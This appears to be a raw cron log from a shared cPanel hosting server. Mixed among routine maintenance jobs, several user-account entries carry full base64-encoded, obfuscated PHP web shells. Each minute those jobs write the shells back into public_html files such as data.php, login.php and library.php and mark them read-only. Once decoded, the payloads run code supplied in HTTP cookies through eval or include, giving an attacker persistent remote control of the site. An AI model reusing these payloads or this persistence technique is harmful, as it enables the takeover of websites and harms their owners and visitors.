Mar  1 07:27:01 medusa CROND[11274]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:27:01 medusa CROND[11275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:27:01 medusa CROND[11279]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:28:01 medusa CROND[16660]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:28:01 medusa CROND[16661]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:28:01 medusa CROND[16665]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:28:01 medusa CROND[16666]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:28:01 medusa CROND[16667]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 07:28:01 medusa CROND[16668]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:28:01 medusa CROND[16669]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 07:28:01 medusa CROND[16670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:28:01 medusa CROND[16671]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:28:01 medusa CROND[16672]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:28:01 medusa CROND[16673]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:28:01 medusa CROND[16675]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:28:01 medusa CROND[16677]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:28:01 medusa CROND[16676]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:29:01 medusa CROND[21173]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:29:01 medusa CROND[21235]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 07:29:01 medusa CROND[21374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:29:01 medusa CROND[21375]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:29:01 medusa CROND[21376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:29:01 medusa CROND[21377]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 07:29:01 medusa CROND[21378]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:29:01 medusa CROND[21379]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:29:01 medusa CROND[21383]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:29:01 medusa CROND[21384]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:29:01 medusa CROND[21386]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:29:01 medusa CROND[21387]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:29:01 medusa CROND[21394]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:30:01 medusa CROND[25685]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 07:30:01 medusa CROND[25694]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 07:30:02 medusa CROND[25931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:30:02 medusa CROND[25932]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 07:30:02 medusa CROND[25933]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 07:30:02 medusa CROND[25934]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
